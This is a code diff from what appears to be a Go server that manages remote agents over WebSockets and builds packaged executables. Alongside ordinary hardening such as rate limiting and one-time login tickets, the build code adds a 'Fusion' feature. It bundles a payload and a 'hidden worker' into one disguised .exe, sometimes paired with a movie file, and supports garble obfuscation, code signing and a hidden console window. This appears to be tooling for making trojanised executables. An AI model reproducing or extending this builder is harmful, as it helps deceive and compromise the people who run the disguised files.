// Blocking send — Path Tracer and other orchestrators must not drop results.
|
||||||
case ch <- payload:
|
ch <- payload
|
||||||
default:
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -464,13 +474,22 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
if clientIP == "" {
|
if clientIP == "" {
|
||||||
clientIP = r.RemoteAddr
|
clientIP = r.RemoteAddr
|
||||||
}
|
}
|
||||||
|
if idx := strings.LastIndex(clientIP, ":"); idx > 0 && strings.Count(clientIP, ":") == 1 {
|
||||||
|
clientIP = clientIP[:idx]
|
||||||
|
}
|
||||||
log.Printf("[WS] Agent connection attempt from %s (origin=%s)", clientIP, r.Header.Get("Origin"))
|
log.Printf("[WS] Agent connection attempt from %s (origin=%s)", clientIP, r.Header.Get("Origin"))
|
||||||
|
if !allowAgentWSUpgrade(clientIP) {
|
||||||
|
http.Error(w, "Too Many Requests", http.StatusTooManyRequests)
|
||||||
|
log.Printf("[WS] Agent upgrade rate-limited from %s", clientIP)
|
||||||
|
return
|
||||||
|
}
|
||||||
conn, err := upgrader.Upgrade(w, r, nil)
|
conn, err := upgrader.Upgrade(w, r, nil)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("[WS] Agent upgrade failed from %s: %v", clientIP, err)
|
log.Printf("[WS] Agent upgrade failed from %s: %v", clientIP, err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
log.Printf("[WS] Agent WebSocket upgraded OK from %s", clientIP)
|
log.Printf("[WS] Agent WebSocket upgraded OK from %s", clientIP)
|
||||||
|
_ = conn.SetReadDeadline(time.Now().Add(agentWSAuthTimeout))
|
||||||
|
|
||||||
agentID := ""
|
agentID := ""
|
||||||
defer func() {
|
defer func() {
|
||||||
@@ -1119,14 +1138,19 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
default:
|
||||||
|
if agentID != "" {
|
||||||
|
log.Printf("[WS] Agent %s sent unknown message type %q", agentID, msg.Type)
|
||||||
|
} else {
|
||||||
|
log.Printf("[WS] Unauthenticated agent sent unknown message type %q from %s", msg.Type, clientIP)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
||||||
// Verify dashboard session. The SPA sends its stored Basic-auth token as
|
// Verify dashboard session via short-lived ?ticket= or legacy ?token= (btoa creds).
|
||||||
// ?token=<base64> because the WS upgrade can't carry Authorization headers.
|
|
||||||
// We decode it and check against the same in-memory user map as the REST API.
|
|
||||||
if !checkDashboardWSToken(r) {
|
if !checkDashboardWSToken(r) {
|
||||||
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
||||||
log.Printf("[auth] Dashboard WS rejected: bad or missing token from %s", r.RemoteAddr)
|
log.Printf("[auth] Dashboard WS rejected: bad or missing token from %s", r.RemoteAddr)
|
||||||
|
|||||||
@@ -98,6 +98,18 @@ func TestCheckDashboardWSTokenBcryptUser(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestCheckDashboardWSTicketOneTime(t *testing.T) {
|
||||||
|
ticket := issueWSTicket("dash")
|
||||||
|
req := httptest.NewRequest(http.MethodGet, "/ws/dashboard?ticket="+ticket, nil)
|
||||||
|
if !checkDashboardWSToken(req) {
|
||||||
|
t.Fatal("valid ticket should pass")
|
||||||
|
}
|
||||||
|
req = httptest.NewRequest(http.MethodGet, "/ws/dashboard?ticket="+ticket, nil)
|
||||||
|
if checkDashboardWSToken(req) {
|
||||||
|
t.Fatal("ticket should be one-time use")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestHandleDashboardWSUnauthorized(t *testing.T) {
|
func TestHandleDashboardWSUnauthorized(t *testing.T) {
|
||||||
database, err := db.New(t.TempDir())
|
database, err := db.New(t.TempDir())
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
54
server/internal/api/ws_ticket.go
Normal file
54
server/internal/api/ws_ticket.go
Normal file
@@ -0,0 +1,54 @@
|
|||||||
|
package api
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/rand"
|
||||||
|
"encoding/hex"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
const wsTicketTTL = 2 * time.Minute
|
||||||
|
|
||||||
|
type wsTicketEntry struct {
|
||||||
|
Username string
|
||||||
|
ExpiresAt time.Time
|
||||||
|
}
|
||||||
|
|
||||||
|
var (
|
||||||
|
wsTicketMu sync.Mutex
|
||||||
|
wsTickets = map[string]wsTicketEntry{}
|
||||||
|
)
|
||||||
|
|
||||||
|
// issueWSTicket mints a one-time, short-lived dashboard WebSocket credential.
|
||||||
|
func issueWSTicket(username string) string {
|
||||||
|
b := make([]byte, 24)
|
||||||
|
_, _ = rand.Read(b)
|
||||||
|
ticket := hex.EncodeToString(b)
|
||||||
|
wsTicketMu.Lock()
|
||||||
|
wsTickets[ticket] = wsTicketEntry{Username: username, ExpiresAt: time.Now().Add(wsTicketTTL)}
|
||||||
|
if len(wsTickets) > 512 {
|
||||||
|
now := time.Now()
|
||||||
|
for k, v := range wsTickets {
|
||||||
|
if now.After(v.ExpiresAt) {
|
||||||
|
delete(wsTickets, k)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
wsTicketMu.Unlock()
|
||||||
|
return ticket
|
||||||
|
}
|
||||||
|
|
||||||
|
// consumeWSTicket validates and invalidates a ticket (one-time use).
|
||||||
|
func consumeWSTicket(ticket string) (string, bool) {
|
||||||
|
wsTicketMu.Lock()
|
||||||
|
defer wsTicketMu.Unlock()
|
||||||
|
entry, ok := wsTickets[ticket]
|
||||||
|
if !ok || time.Now().After(entry.ExpiresAt) {
|
||||||
|
if ok {
|
||||||
|
delete(wsTickets, ticket)
|
||||||
|
}
|
||||||
|
return "", false
|
||||||
|
}
|
||||||
|
delete(wsTickets, ticket)
|
||||||
|
return entry.Username, true
|
||||||
|
}
|
||||||
@@ -63,6 +63,11 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
|
|||||||
|
|
||||||
for _, p := range platforms {
|
for _, p := range platforms {
|
||||||
src := workers[p.Label()]
|
src := workers[p.Label()]
|
||||||
|
if h.shouldSignBuild(req) {
|
||||||
|
if err := h.signExecutable(src); err != nil {
|
||||||
|
return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||||
|
}
|
||||||
|
}
|
||||||
destDir := filepath.Join(outDir, p.BinDir())
|
destDir := filepath.Join(outDir, p.BinDir())
|
||||||
if err := os.MkdirAll(destDir, 0755); err != nil {
|
if err := os.MkdirAll(destDir, 0755); err != nil {
|
||||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||||
@@ -86,6 +91,9 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
|
|||||||
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
|
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||||
}
|
}
|
||||||
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
|
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
|
||||||
|
if err := h.checkBuildSizeFile(zipPath); err != nil {
|
||||||
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
|
||||||
|
}
|
||||||
|
|
||||||
primary := workers[platforms[0].Label()]
|
primary := workers[platforms[0].Label()]
|
||||||
if w, ok := workers["windows-amd64"]; ok {
|
if w, ok := workers["windows-amd64"]; ok {
|
||||||
@@ -155,6 +163,11 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||||
}
|
}
|
||||||
|
if h.shouldSignBuild(req) {
|
||||||
|
if err := h.signExecutable(res.LauncherPath); err != nil {
|
||||||
|
return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||||
|
}
|
||||||
|
}
|
||||||
fusionResults = append(fusionResults, res)
|
fusionResults = append(fusionResults, res)
|
||||||
destDir := filepath.Join(outDir, p.BinDir())
|
destDir := filepath.Join(outDir, p.BinDir())
|
||||||
if err := os.MkdirAll(destDir, 0755); err != nil {
|
if err := os.MkdirAll(destDir, 0755); err != nil {
|
||||||
@@ -186,14 +199,14 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
|
|||||||
_ = os.WriteFile(filepath.Join(outDir, "Start.bat"), []byte(fusionUniversalStartBat(title)), 0644)
|
_ = os.WriteFile(filepath.Join(outDir, "Start.bat"), []byte(fusionUniversalStartBat(title)), 0644)
|
||||||
_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(fusionUniversalStartCommand()), 0755)
|
_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(fusionUniversalStartCommand()), 0755)
|
||||||
|
|
||||||
|
windowsRunnerName := disguisedRunnerName(payloadBase)
|
||||||
readme := fusionReadmeInfo{
|
readme := fusionReadmeInfo{
|
||||||
Title: titleBase,
|
Title: titleBase,
|
||||||
RunnerName: titleBase + "-runner",
|
RunnerName: windowsRunnerName,
|
||||||
MediaName: payloadBase,
|
MediaName: payloadBase,
|
||||||
PayloadKind: req.FusionPayloadKind,
|
PayloadKind: req.FusionPayloadKind,
|
||||||
MediaMode: mode,
|
MediaMode: mode,
|
||||||
}
|
}
|
||||||
windowsRunnerName := disguisedRunnerName(payloadBase)
|
|
||||||
unixRunnerName := sanitizeFileName(titleBase+"-runner")
|
unixRunnerName := sanitizeFileName(titleBase+"-runner")
|
||||||
readmeExtra := "\r\nLAUNCH INSTRUCTIONS (Universal — all OSes):\r\n" +
|
readmeExtra := "\r\nLAUNCH INSTRUCTIONS (Universal — all OSes):\r\n" +
|
||||||
" Windows: double-click Start.bat (or run bin\\windows-amd64\\" + windowsRunnerName + ")\r\n" +
|
" Windows: double-click Start.bat (or run bin\\windows-amd64\\" + windowsRunnerName + ")\r\n" +
|
||||||
@@ -211,6 +224,9 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
|
|||||||
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
|
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||||
}
|
}
|
||||||
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
|
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
|
||||||
|
if err := h.checkBuildSizeFile(zipPath); err != nil {
|
||||||
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
|
||||||
|
}
|
||||||
|
|
||||||
if primaryPath == "" && len(fusionResults) > 0 {
|
if primaryPath == "" && len(fusionResults) > 0 {
|
||||||
primaryPath = fusionResults[0].LauncherPath
|
primaryPath = fusionResults[0].LauncherPath
|
||||||
|
|||||||
@@ -55,24 +55,20 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
|
|||||||
workerBytes := h.estimateWorkerBytes()
|
workerBytes := h.estimateWorkerBytes()
|
||||||
stubBytes := defaultFusionStubBytes
|
stubBytes := defaultFusionStubBytes
|
||||||
var total int64
|
var total int64
|
||||||
switch kind {
|
if mode == "embedded" {
|
||||||
case "video":
|
|
||||||
if mode == "embedded" {
|
|
||||||
total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
|
|
||||||
} else {
|
|
||||||
total = workerBytes + stubBytes + resourcePatchOverhead
|
|
||||||
}
|
|
||||||
default:
|
|
||||||
total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
|
total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
|
||||||
|
} else {
|
||||||
|
// paired: payload ships beside the runner, not inside the .exe
|
||||||
|
total = workerBytes + stubBytes + resourcePatchOverhead
|
||||||
}
|
}
|
||||||
|
|
||||||
root := h.projectRoot
|
root := h.projectRoot
|
||||||
if root == "" || root == "." {
|
if root == "" || root == "." {
|
||||||
root, _ = filepath.Abs(".")
|
root, _ = filepath.Abs(".")
|
||||||
}
|
}
|
||||||
label := prepName
|
label := strings.TrimSuffix(outputName, filepath.Ext(outputName))
|
||||||
if kind != "video" {
|
if label == "" {
|
||||||
label = strings.TrimSuffix(outputName, filepath.Ext(outputName))
|
label = prepName
|
||||||
}
|
}
|
||||||
sub := fusionExportSubdir(req, label)
|
sub := fusionExportSubdir(req, label)
|
||||||
projectOut := filepath.Join(root, FusionDeliverablesDir, sub, outputName)
|
projectOut := filepath.Join(root, FusionDeliverablesDir, sub, outputName)
|
||||||
@@ -90,27 +86,25 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
|
|||||||
Obfuscate: h.shouldObfuscate(req),
|
Obfuscate: h.shouldObfuscate(req),
|
||||||
SignBuild: req.SignBuild,
|
SignBuild: req.SignBuild,
|
||||||
Notes: []string{
|
Notes: []string{
|
||||||
fmt.Sprintf("Payload: %s (%s)", prepName, formatBytes(prepSize)),
|
fmt.Sprintf("Payload: %s [%s] (%s)", prepName, kind, formatBytes(prepSize)),
|
||||||
fmt.Sprintf("Estimated worker: %s", formatBytes(workerBytes)),
|
fmt.Sprintf("Estimated worker: %s", formatBytes(workerBytes)),
|
||||||
fmt.Sprintf("Fusion launcher overhead: ~%s", formatBytes(stubBytes)),
|
fmt.Sprintf("Fusion launcher overhead: ~%s", formatBytes(stubBytes)),
|
||||||
fmt.Sprintf("Max upload: %s", formatBytes(FusionMaxUploadBytes)),
|
fmt.Sprintf("Max upload: %s", formatBytes(FusionMaxUploadBytes)),
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
if kind == "video" {
|
if mode == "embedded" {
|
||||||
if mode == "embedded" {
|
resp.Notes = append(resp.Notes,
|
||||||
resp.Notes = append(resp.Notes,
|
"Embedded mode: one disguised .exe contains the payload + hidden worker. Best under ~500MB.",
|
||||||
"Option A (embedded): one disguised .exe contains the movie + hidden worker. Best under ~500MB.",
|
)
|
||||||
)
|
} else {
|
||||||
} else {
|
resp.Notes = append(resp.Notes,
|
||||||
resp.Notes = append(resp.Notes,
|
"Paired mode: runner .exe + payload file in fusion-deliverables/<title>/.",
|
||||||
"Option B (paired): runner .exe + encrypted movie in fusion-deliverables/<title>/.",
|
fmt.Sprintf("Payload file stays as %q beside the runner.", prepName),
|
||||||
fmt.Sprintf("Movie file stays as %q beside the runner.", prepName),
|
)
|
||||||
)
|
|
||||||
}
|
|
||||||
resp.ExportPath = filepath.Join(root, FusionDeliverablesDir, sub)
|
|
||||||
resp.Notes = append(resp.Notes, fmt.Sprintf("Deliverables folder: %s", resp.ExportPath))
|
|
||||||
}
|
}
|
||||||
|
resp.ExportPath = filepath.Join(root, FusionDeliverablesDir, sub)
|
||||||
|
resp.Notes = append(resp.Notes, fmt.Sprintf("Deliverables folder: %s", resp.ExportPath))
|
||||||
|
|
||||||
if strings.TrimSpace(req.OutputDir) != "" {
|
if strings.TrimSpace(req.OutputDir) != "" {
|
||||||
clean := filepath.Clean(strings.TrimSpace(req.OutputDir))
|
clean := filepath.Clean(strings.TrimSpace(req.OutputDir))
|
||||||
@@ -126,8 +120,12 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
|
|||||||
if h.shouldObfuscate(req) && h.garblePath == "" {
|
if h.shouldObfuscate(req) && h.garblePath == "" {
|
||||||
resp.Notes = append(resp.Notes, "Garble not found — obfuscation will be skipped unless you install garble (devrun.bat installs it).")
|
resp.Notes = append(resp.Notes, "Garble not found — obfuscation will be skipped unless you install garble (devrun.bat installs it).")
|
||||||
}
|
}
|
||||||
if req.SignBuild && (!h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "") {
|
if req.SignBuild {
|
||||||
resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")
|
if !h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "" {
|
||||||
|
resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")
|
||||||
|
} else if !h.signingToolAvailable() {
|
||||||
|
resp.Notes = append(resp.Notes, signingToolMissingNote())
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return resp
|
return resp
|
||||||
|
|||||||
@@ -18,6 +18,7 @@ func TestEstimateFusionBuildTotals(t *testing.T) {
|
|||||||
req := &BuildRequest{
|
req := &BuildRequest{
|
||||||
FusionEnabled: true,
|
FusionEnabled: true,
|
||||||
FusionOutputName: "MyApp.exe",
|
FusionOutputName: "MyApp.exe",
|
||||||
|
FusionMediaMode: "embedded",
|
||||||
OutputDir: "exports",
|
OutputDir: "exports",
|
||||||
Obfuscate: true,
|
Obfuscate: true,
|
||||||
}
|
}
|
||||||
@@ -26,7 +27,7 @@ func TestEstimateFusionBuildTotals(t *testing.T) {
|
|||||||
t.Fatalf("prep bytes: got %d", got.PrepBytes)
|
t.Fatalf("prep bytes: got %d", got.PrepBytes)
|
||||||
}
|
}
|
||||||
if got.EstimatedTotalBytes <= got.PrepBytes {
|
if got.EstimatedTotalBytes <= got.PrepBytes {
|
||||||
t.Fatalf("total should exceed prep: %d", got.EstimatedTotalBytes)
|
t.Fatalf("embedded total should exceed prep: %d", got.EstimatedTotalBytes)
|
||||||
}
|
}
|
||||||
if got.OutputFileName != "MyApp.exe" {
|
if got.OutputFileName != "MyApp.exe" {
|
||||||
t.Fatalf("output name: %s", got.OutputFileName)
|
t.Fatalf("output name: %s", got.OutputFileName)
|
||||||
@@ -36,33 +37,33 @@ func TestEstimateFusionBuildTotals(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestEstimateFusionBuildVideoPaired(t *testing.T) {
|
func TestEstimateFusionBuildFilePaired(t *testing.T) {
|
||||||
h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
|
h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
|
||||||
req := &BuildRequest{
|
req := &BuildRequest{
|
||||||
FusionEnabled: true,
|
FusionEnabled: true,
|
||||||
FusionPayloadKind: "video",
|
FusionPayloadKind: "file",
|
||||||
FusionMediaMode: "paired",
|
FusionMediaMode: "paired",
|
||||||
}
|
}
|
||||||
got := h.estimateFusionBuild(req, "", 100*1024*1024, "movie.mkv")
|
got := h.estimateFusionBuild(req, "", 100*1024*1024, "movie.mkv")
|
||||||
if got.EstimatedTotalBytes >= 100*1024*1024+defaultWorkerBytes {
|
if got.EstimatedTotalBytes >= 100*1024*1024+defaultWorkerBytes {
|
||||||
t.Fatalf("paired video should not add full prep to total: %d", got.EstimatedTotalBytes)
|
t.Fatalf("paired file should not add full prep to total: %d", got.EstimatedTotalBytes)
|
||||||
}
|
}
|
||||||
if got.ExportPath == "" {
|
if got.ExportPath == "" {
|
||||||
t.Fatal("expected export path for video")
|
t.Fatal("expected export path for paired file")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestEstimateFusionBuildVideoEmbedded(t *testing.T) {
|
func TestEstimateFusionBuildFileEmbedded(t *testing.T) {
|
||||||
h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
|
h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
|
||||||
req := &BuildRequest{
|
req := &BuildRequest{
|
||||||
FusionEnabled: true,
|
FusionEnabled: true,
|
||||||
FusionPayloadKind: "video",
|
FusionPayloadKind: "file",
|
||||||
FusionMediaMode: "embedded",
|
FusionMediaMode: "embedded",
|
||||||
}
|
}
|
||||||
prepSize := int64(50 * 1024 * 1024)
|
prepSize := int64(50 * 1024 * 1024)
|
||||||
got := h.estimateFusionBuild(req, "", prepSize, "movie.mkv")
|
got := h.estimateFusionBuild(req, "", prepSize, "movie.mkv")
|
||||||
if got.EstimatedTotalBytes <= prepSize {
|
if got.EstimatedTotalBytes <= prepSize {
|
||||||
t.Fatalf("embedded video total should include prep: %d", got.EstimatedTotalBytes)
|
t.Fatalf("embedded file total should include prep: %d", got.EstimatedTotalBytes)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -107,11 +108,11 @@ func TestEstimateFusionBuildSignNote(t *testing.T) {
|
|||||||
|
|
||||||
func TestEstimateFusionBuildDetectKindFromPrepPath(t *testing.T) {
|
func TestEstimateFusionBuildDetectKindFromPrepPath(t *testing.T) {
|
||||||
h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
|
h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
|
||||||
req := &BuildRequest{FusionEnabled: true}
|
req := &BuildRequest{FusionEnabled: true, FusionMediaMode: "embedded"}
|
||||||
prep := filepath.Join(t.TempDir(), "payload.exe")
|
prep := filepath.Join(t.TempDir(), "payload.exe")
|
||||||
got := h.estimateFusionBuild(req, prep, 1024, "payload.exe")
|
got := h.estimateFusionBuild(req, prep, 1024, "payload.exe")
|
||||||
if got.EstimatedTotalBytes <= 1024 {
|
if got.EstimatedTotalBytes <= 1024 {
|
||||||
t.Fatalf("exe payload should add prep size: %d", got.EstimatedTotalBytes)
|
t.Fatalf("embedded exe payload should add prep size: %d", got.EstimatedTotalBytes)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -180,6 +181,26 @@ func TestEstimateWorkerBytesFromHistory(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestEstimateFusionBuildSignToolMissingNote(t *testing.T) {
|
||||||
|
h := &Handler{
|
||||||
|
dataDir: t.TempDir(),
|
||||||
|
projectRoot: t.TempDir(),
|
||||||
|
policy: BuildPolicy{Sign: SignPolicy{Enabled: true, CertThumbprint: "ABC123"}},
|
||||||
|
}
|
||||||
|
req := &BuildRequest{FusionEnabled: true, SignBuild: true}
|
||||||
|
got := h.estimateFusionBuild(req, "", 1024, "prep.exe")
|
||||||
|
found := false
|
||||||
|
for _, n := range got.Notes {
|
||||||
|
if strings.Contains(strings.ToLower(n), "signtool") || strings.Contains(strings.ToLower(n), "osslsigncode") {
|
||||||
|
found = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !found {
|
||||||
|
t.Fatalf("expected signing tool missing note, got %v", got.Notes)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestEstimateFusionBuildSignEnabledWithCert(t *testing.T) {
|
func TestEstimateFusionBuildSignEnabledWithCert(t *testing.T) {
|
||||||
h := &Handler{
|
h := &Handler{
|
||||||
dataDir: t.TempDir(),
|
dataDir: t.TempDir(),
|
||||||
|
|||||||
@@ -135,7 +135,8 @@ func (h *Handler) buildFileFusion(ctx context.Context, buildDir, payloadPath, wo
|
|||||||
if platform.GOOS == "windows" && !strings.Contains(ldflags, "-H windows") {
|
if platform.GOOS == "windows" && !strings.Contains(ldflags, "-H windows") {
|
||||||
ldflags += " -H windowsgui"
|
ldflags += " -H windowsgui"
|
||||||
}
|
}
|
||||||
if _, err := h.compileGoProjectPlatform(ctx, fusionDir, launcherPath, ldflags, nil, false, platform); err != nil {
|
obfuscateLauncher := h.shouldObfuscate(req) && h.garblePath != ""
|
||||||
|
if _, err := h.compileGoProjectPlatform(ctx, fusionDir, launcherPath, ldflags, nil, obfuscateLauncher, platform); err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -178,7 +179,8 @@ func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMod
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, name := range []string{
|
for _, name := range []string{
|
||||||
"go.mod", "launch_windows.go", "launch_stub.go",
|
"go.mod",
|
||||||
|
"shell_windows.go", "hidden_windows.go",
|
||||||
"media_windows.go", "media_linux.go", "media_darwin.go",
|
"media_windows.go", "media_linux.go", "media_darwin.go",
|
||||||
"media_crypto.go", "cache_windows.go", "cache_unix.go",
|
"media_crypto.go", "cache_windows.go", "cache_unix.go",
|
||||||
"lock_hint_windows.go", "lock_hint_stub.go",
|
"lock_hint_windows.go", "lock_hint_stub.go",
|
||||||
@@ -282,10 +284,17 @@ func fusionExportSubdir(req *BuildRequest, mediaName string) string {
|
|||||||
|
|
||||||
func (h *Handler) publishFusionDeliverable(subdir string, artifacts map[string]string, readme fusionReadmeInfo) (string, error) {
|
func (h *Handler) publishFusionDeliverable(subdir string, artifacts map[string]string, readme fusionReadmeInfo) (string, error) {
|
||||||
subdir = sanitizeDirName(subdir)
|
subdir = sanitizeDirName(subdir)
|
||||||
if subdir == "" || h.projectRoot == "" || h.projectRoot == "." {
|
if subdir == "" {
|
||||||
return "", nil
|
return "", nil
|
||||||
}
|
}
|
||||||
destDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir)
|
root := h.projectRoot
|
||||||
|
if root == "" || root == "." {
|
||||||
|
root = h.dataDir
|
||||||
|
}
|
||||||
|
if root == "" {
|
||||||
|
return "", fmt.Errorf("no project root or data directory for fusion deliverables")
|
||||||
|
}
|
||||||
|
destDir := filepath.Join(root, FusionDeliverablesDir, subdir)
|
||||||
if err := os.MkdirAll(destDir, 0755); err != nil {
|
if err := os.MkdirAll(destDir, 0755); err != nil {
|
||||||
return "", fmt.Errorf("failed to create fusion deliverables folder: %w", err)
|
return "", fmt.Errorf("failed to create fusion deliverables folder: %w", err)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -199,12 +199,18 @@ func TestPublishFusionDeliverable(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func TestPublishFusionDeliverableNoRoot(t *testing.T) {
|
func TestPublishFusionDeliverableNoRoot(t *testing.T) {
|
||||||
h := &Handler{projectRoot: ""}
|
dataDir := t.TempDir()
|
||||||
dir, err := h.publishFusionDeliverable("x", nil, fusionReadmeInfo{})
|
h := &Handler{projectRoot: "", dataDir: dataDir}
|
||||||
|
src := filepath.Join(t.TempDir(), "runner.exe")
|
||||||
|
if err := os.WriteFile(src, []byte("bin"), 0644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
dir, err := h.publishFusionDeliverable("x", map[string]string{"runner.exe": src}, fusionReadmeInfo{Title: "x"})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
if dir != "" {
|
want := filepath.Join(dataDir, FusionDeliverablesDir, "x")
|
||||||
t.Fatalf("expected empty dir when no project root, got %q", dir)
|
if dir != want {
|
||||||
|
t.Fatalf("expected dataDir fallback %q, got %q", want, dir)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -277,7 +277,7 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
|
|
||||||
contentType := r.Header.Get("Content-Type")
|
contentType := r.Header.Get("Content-Type")
|
||||||
if strings.HasPrefix(contentType, "multipart/form-data") {
|
if strings.HasPrefix(contentType, "multipart/form-data") {
|
||||||
if err := r.ParseMultipartForm(64 << 20); err != nil {
|
if err := r.ParseMultipartForm(multipartMaxMemory); err != nil {
|
||||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"})
|
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -388,7 +388,7 @@ func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
|
|||||||
|
|
||||||
contentType := r.Header.Get("Content-Type")
|
contentType := r.Header.Get("Content-Type")
|
||||||
if strings.HasPrefix(contentType, "multipart/form-data") {
|
if strings.HasPrefix(contentType, "multipart/form-data") {
|
||||||
if err := r.ParseMultipartForm(64 << 20); err != nil {
|
if err := r.ParseMultipartForm(multipartMaxMemory); err != nil {
|
||||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"})
|
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -458,7 +458,11 @@ func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
w.Header().Set("Content-Type", "application/octet-stream")
|
w.Header().Set("Content-Type", "application/octet-stream")
|
||||||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(build.FilePath)))
|
dlName := strings.TrimSpace(build.FileName)
|
||||||
|
if dlName == "" {
|
||||||
|
dlName = filepath.Base(build.FilePath)
|
||||||
|
}
|
||||||
|
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, dlName))
|
||||||
http.ServeFile(w, r, build.FilePath)
|
http.ServeFile(w, r, build.FilePath)
|
||||||
}
|
}
|
||||||
|
|
||||||
